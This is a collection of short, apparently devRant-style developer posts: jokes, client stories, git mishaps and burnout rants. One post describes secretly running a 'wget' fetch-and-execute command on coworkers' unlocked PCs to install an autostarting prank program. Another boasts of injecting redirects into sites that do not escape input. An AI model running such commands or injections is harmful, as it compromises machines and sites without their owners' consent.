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Programmers: Always use descriptive variable names.
Mathematicians: Single letter variable names always, ideally from obscure/dead alphabets.
Src: Twitter16 -
Client: Please remove the address inputs from the inquiry form. Our marketing strategist said that more people will fill out the form if there are less input fields.
Me: But you are required by law to include the address in the generated inquiry PDFs!
Client: Can you remove the fields and still include the address in the PDF somehow?
Me: No. How would the website know the users address without asking for it.
Client: Okay. Wait! Can we change the form to just one large input where the user has to enter everything at once? That is even less inputs so more users would do it, right?
Me:...6 -
Always be humble and always keep learning. No matter how good you get, there is always some better.4
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I always hate going back to C++ after using JavaScript for long periods of time. I'm always like, "Fuck I just wanna split this string!"3
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I had this prepared in advance and executed on April 1st few years ago.
1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.
Man, that was hilarious.2 -
Does anyone actually use the searchbar on StackOverflow? All these years of development and I still haven't used it.11
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At work for a bank, I changed the target SQL Server in my SSIS project and arbitrarily, all my custom-coded scripts were erased!!
I didn't take backups and I spent a week coding them! Fuuuuuuuuuckkkkk 😠
Ended up rewriting them.
I learned my lesson... 😥2 -
Javascript makes me want to flip
the table and say "Fuck this shit", but
I can never be sure what "this" refers
to.5 -
Kudos to @trogus and @dfox for introducing the new refresh button on the nav bar instead of the odd position at the end of the comments.
It's looking awesome now.
Note: If the screenshot violates anyones privacy. Let me know. It is just a random screenshot
16 -
S = Some person I know
Me = Me
S: Hey, I heard you also do [software/web development].. I was hoping to get some advice from you about some advanced level HTML and CSS for my classes.
//or that if I could teach him something
Me: What do you study?
S: Oh, I teach.
Me: 😯 Really? What do you teach?
S: Oh, just some basic HTML and CSS with Notepad to about 50-60 students.
Me: (;﹏;) That's great.
/*this is a shortened version of a very long conversation*/
They teach some basic HTML and CSS like <table> and <marquee> and stuff. They also teach C++ and Tally ERP.
Also, he and some other person made their small intuitions' website but they don't know how to put it online. They made it in, as far as I understand, simple HTML and CSS USING NOTEPAD (Don't know if they used JS or something else). That's.. really courageous or something... ? I don't know, I couldn't have a look at it because they have it on their local computer and don't know what Git is.
I showed him some better alternatives and ways that they could use (editors, version control, db, etc.) to improve their curriculum and answered his questions, and I told him that I'll try to help in any way I can if they ever need me.
This also made me realize how much I've learned and grown since I first started learning C in school. Still, I've got so much more that I need and want to learn.
//Always keep learning
😊
PS. What would you've told him if you had been in my place?1 -
Yesterday I spent some time on the meta site for dba.stackexchange.com and found this one guy with 1 rep raging about how his questions aren't getting answered and how is answers are the best etc...
"I have 17 years of experience as a dba, blah, blah, blah, my answers are correct, blah, blah"
He got pretty destroyed by the mods and other users about how shit his answers were and how they weren't factually correct etc...
This just continues to show that no matter how much experience you have you won't always be right.
Same goes for my senior at work, he has 10 years more experience than me (I have 2) and he still asks for my point of view and help without being a dick about it.
I hope we'll all keep being nice people unlike that Stackexchange guy...2 -
"It's just a tiny change in one function. What can go wrong? I don't need to test, I'm not that stupid to mess this up". Apparently I am. Pushed the changes, and the [Firefox] extension basically stopped working. Lost about 1.5k users in 2 days. Good times ;)2
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today I pull a project to take over from my colleague
today I notice all commits where on master branch
today I leave this world T_T19 -
I hate GUI development, I have always hated GUI development, and I always will hate GUI development8
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After 1 month of not writing a single line of code in some language, I'm like ehhh: youtube -> tutorial (any programming language) episode 0 😰2
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Did you guys know that SO stands for 'Significant Other' on other social platforms?!???
Filthy muggles.11 -
Coding-related ads are always entertaining. They nearly always contain easily spotted nonsense and error-filled code. Not even sure where to start with this one...
9 -
I work in big data and security analytics... So naturally I am a very detail oriented and analytical person.... Something that I constantly get told off about for 'over analysing' every personal situation.... Especially by my wife!
Today she was chatting to our best friend on WhatsApp who's been travelling Europe for 6 months seeing how life is etc... At the end of the conversation I point out he never once told her where he was and avoided the questions.... And that I was sure he was gonna turn up tonight....
She tells me I'm over analysing and full of it as she's in Spain.... Not even an hour later he walked through our front door and we are in the pub having an awesome catch up!
Who said I'm over analytical! More like right!?4 -
No matter how much documentation you write, and how well you comment the code, the truth is always the code itself.17
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I always use "less" to display log files, always hoping the server gets what I mean by typing
less error.log #plz2 -
A big shout out to all the polyglot developers out there who understand that languages and frameworks are just tools with trade offs.
May we always evaluate thoroughly and choose the best tool for the job at hand.
Cheers 🍻
Bonus Round:
What tools are you currently wielding while reading this rant?6 -
Sometimes you get too used to everything, that you forget to be humble and curious, to explore and learn new things all the time. I miss the time when I say:oh this shit is cool, I am gonna try it out.
Glad someone knocked this back into me. -
I think when downvoting, "offensive/spam" should be split into two different options
Spam isn't always offensive, and offensive posts aren't always spam2 -
I know I added a rant to wk65 already, but this is another one.
At my final project at school, I made an app that registered all your medicine, surgeries, appointments and medicine alarms, so it worked as a medical history. It also was able to show on the lock screen, in case of emergency, your allergies and recent but dangerous surgeries.
At the presentation day there were 3 guys, me and two of my colleagues. The first one had a car dealership tracker, really awesome app, which I helped build by teaching him everything I knew about Android, I didn't do any code, I really just taught him. The second guy, he made a pharmacy tracker, to which, again, I helped make without doing MOST code (I helped on obtaining GPS data). First presentation was awesome, second presentation was really boring because the guy was constantly showing the judges that the app could detect when you were offline (really simple to do).
At my presentation, I thought it was horrible, super nervous and I even thought I was trembling.
So, then, the judges spoke, apparently they knew I helped the previous two, they thought I had the best app, they thought I had the best presentation and needless to say, I got 20/20 on the project. One of the judges even said that if I was selling the app, he'd buy it.
The second colleague didn't like that, and I later found out he was focusing so much on that offline stuff because he wanted to show he was better than me, shows that I really need to see who I really should help...
I felt really really badass after that day, because I left the school, and to this day, I had the best app/project and grades that school had seen and given. Even more when the school offered me a scholarship!3 -
By the time I’m able to put my baby girl to sleep, I get hungry again.....
I just remembered, I haven’t had pizza in a long time now...11 -
I always wanted to try out `cd /; git init` for system recovery, but ironically always was afraid of ruining my system.5
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it's crazy. does no one recruit native app developer these days? they're always looking for hybrid developers, always 😭5
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I am well done, burnt and carcinogenic. The constant pressure to always produce, always post a profit, always increase, always commit, always stand-up and succeed is fucking exhausting and ultimately and totally unsustainable.
There are never any fallow years anymore, or days of rest...our dirt is dying...and the earth is weary and worn out. Antartica is getting green...grrrr, and my head is melting too.
Why the fuck can't we slow down a little bit?
#hatehashtags C#needtheocean
// allow -
Always double your level of effort estimates to any management over what it's really going to take. Always.2
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Any sort of video conferencing.
Every time. EVERY TIME. Is always a hassle. It’s always, ALWAYS shite.2 -
When I'm still a beginner in git, I always use git push origin <branch_name> --force, for the sake of pushing my code on the master branch. My co-worker always complain why the hell there's always conflict on the master branch.2
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During Summer I'm tired because it's too hot.
Now it's getting cold, it's getting harder to get out of bed...
And the heater makes me tired too...
Plus there's the not going out or, moving as much... Which may also be due to being tired.
And well in general, I seem to not feel like doing anything lately... Because I'm tired....
Seems like my routine is consolidating to: sleep, eat, work...
And if I had a choice it would just be sleep...
I need to get out of bed now so can eat and go work..... But I don't wanna.....
Is it just me? Any tips to break the cycle?18 -
Sometimes when I read old code of mine I'm ashamed. But more often when I read others I just feel better.
(I'm talking about other webdev freelancers, not OS projects or so...) -
It’s always hard for me to get up and start coding each morning, but once I do I always feel good about the work I’m doing.1
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I dunno why!
But it's always the night before an exam, I am so pumped up to learn coding than studying for tmr!!
Always..2 -
1. I can be both lazy, and productive
2. I will always have something new to learn, always.
3. It is fun.3 -
I just love customers:
Customer: "ftps doesnt work! It says Port blocked you are using the wrong port! Fix this now!"
Me: "did you open the port and allow it through the firewall?"
C: " yeah ofc i opened the ports on the server! Do you think i'm stupid?"
M: "On the client too?"
C: "...."
C: " let me call back in 30min" -
Today I spent 4 hours testbenching and enhancing an algorithm to detect certain metric patterns only to find out that the reason the anomalies weren't picked up correctly was that their metric had some -nan values I didn't check for.... FML2
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Always always always always always keep writing tests as you implement features. TDD is good thing but not necessary but tests are really necessary. I thought I'll write tests later now the code is so tightly coupled I can test things independently. 😑😑
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The project with the worst documentation is always my own. I always come back to a project and have no idea what anything does.1
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Always always always restart command prompt after changing path variables!
Learned this the hard way after struggling for like 2hrs1 -
Transferred a lot of important files in between PC with a 32 GB thumbdrive. One time, when I needed it the most, it couldn't read. It had the original up-to-date information on everything. Backup files were old and found in either emails, in another PC somewhere else and on an ex-colleagues laptop that, due to poor office management, lost track of where that laptop is.
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This one is from experience:
>always update your CV,
>don't lose hope,
>learn what you stumbled against and
>most importantly- "ABH (Always Be Hunting)" -
When you get to your projects and then you go to bed pretty late, just to realize how many hours of sleep you'll get.. :/
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Me always: never installing MacOS updates because something always breaks
Mac always: Updates available! Install now??
Me today: *installs MacOS updates*
Mac today: *refuses to boot*6 -
Am I the only one who procrastinates on Github looking at stuff you like? Or how do you procrastinate?4
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I have a mug that says, "Coffee is always a good idea" in a fancy ass way.
I ALWAYS fill it with tea.6 -
You know your private project gets bigger than expected, when you ditch any local stores with already created logic and head over to SQL starting to design the database.
Guess this will be a longer journey than I anticipated...3 -
Though I started late and I'm not very self confident on my skills:
All those moments I was able to see issues or solutions where no one else did...1 -
Git blame falls into one of 2 categories, that one guy in the office that means it's probably broken or anyone else and you probably don't understand.
If you've never experienced the former, I've got some bad news for you... -
My fellow devs, appreciate what you have right now, even if it doesn't seem that great. I've recently switched majors from Bioinformatics to Medicine and I wouldn't say I regret it, but I do certainly doubt this decision sometimes. While studying Bioinformatics, I was always really interested in the biological part, often wanting to learn more about medical topics and such, thinking if I did switch, I could always keep programming as a hobby. Now I did switch and I miss being in a professional CS field so much. Medicine is great, but the people who study are mentally completely different from people that code. I still code small projects on the side, but don't really have anyone to talk to about them and I'm even starting to regret not paying more attention in linear algebra. I miss linear algebra, think about how ridiculous that is haha. Anyways, if you are looking forward to a major change in your life, it might not be all that you think it will be. So look at your current situation, it might be what you wanted all along.
Thanks for listening.
.
.
.
Also it is incredible, how technologically incompetent most medical students are lol4 -
Should I be even be testing if no one cares.
I keep asking Devs regarding the functionalities of their system for testing and then, realize it's already on Prod even before I test in beta or enable to test in beta.
Do I exist!!!
Now, for the nth time, I have started to test when things are almost there or already there in Prod.
I should keep myself in adrenaline mode always on from now on.
Need to do something worthy.
The worst way to start a new job.2 -
I feel like I'm destined to always suck at launching websites 😢 whether it's DO or AWS I always seem to fuck something up somewhere 😓3
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I like to teach sites that don't escape HTML/js in input fields a lesson, and put in a redirect. Where would you redirect them?
I tend to go SFW, like redirecting to a competitor or the NSA. -
If a project's structure is shit, well of course, let's continue using it because "it is known". Doing it any other way "will add complexity".
That I wasted three days making my working code adhere to the clusterfuck of a structure, nevermind that. Let's continue. And yes, colleagues do agree that the structure is shit, though let's improve it ... later.
Or in other words: Suck it up, we always have done it this way. Fuck you and your ill-advised attempts of trying to improve it. -
It always feels so amazing when working in a team that always coordinates so well, and makes you feel awesome. And then you wake up.
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Definitely electrician. I’ve always been obsessed with figuring out how stuff works and I’ve always liked electricity too1
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FOMO strikes again.... Bought stocks over the last few weeks... that are now plunging..
Maybe I should've just bought Amazon again., Or maybe GOOGL.. at least they can't go bankrupt... But Alphabet feels so boring now....22 -
Why is my test not failing? The actual and the expected json is completely different? What the fuck!?!
It says:
static::assertJson($expected, $actual);
right there.
Oh wait.
Nevermind.
`static::assertJson` only checks for any VALID json string that I always provided in with my own expectation m)
Use `assertJsonStringEqualsJsonString` instead.
What.
Who needs meaningful defaults.
(I would claim that `assertJson` should be defaulft for string equalness, and assertValidJson should be for any Json validation. But you are free to disagree.)4 -
Picked up the latest version of Test Driven Development work Python. Haven't done much test driven development so time to change that .
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It's always the same mistake I do: writing bad words as variables or in comments. NEVER DO IT YOU WILL ALWAYS REGRET IT2
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The moment, when you wait for the clash of code at codingame to start, while surfing on the web......
"Oh it has already started.."
"Oh fuck! Its fastest code..."
😩 -
When you make some changes on the server and you warn that there will be annoyances while the changes are being completed, there is always someone who sends you an email with the title in capital letters asking for urgent help because something is wrong.4
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Programmers & Testers share a very special bond ❤️
They always argue & disagree on countless things but no matter what they are always there for each other. 🥰
2 -
Am just wondering, Why is the boss always guilty in the meeting of the subordinates and the subordinate always guilty in the meeting of the bosses1
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I get too excited, make a plan for future-proof infrastructure, initialize project, code a lot of it, then it gets too cumbersome and impossible for single dev because it is future proof, I lose my interest and then most of the time the project gets even removed on Github eventually after sometime
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While developing whatever website that uses Boostrap, my boss always says:
"PLEASE JUST USE BOOTSTRAP CLASSES to make it easier for everyone else to actually operate on that after you're done"
I'm now working on a project started by him and OMG the mess.
The only bootstrap classes he's using are col-* and text-*, the rest is all custom classes like nopad, which is the equivalent of p-0 m-0.
I mean, I might get you use less bytes writing nopad, but be consistent with what you say7 -
Tell me of this seems right: We used to operate (before I started) in a the user is always right way, if a user wanted a button to wipe his/her arse they got it.
I don't understand how a software developer can operate in this way (or am I missing something?) the users are all staff at the school3
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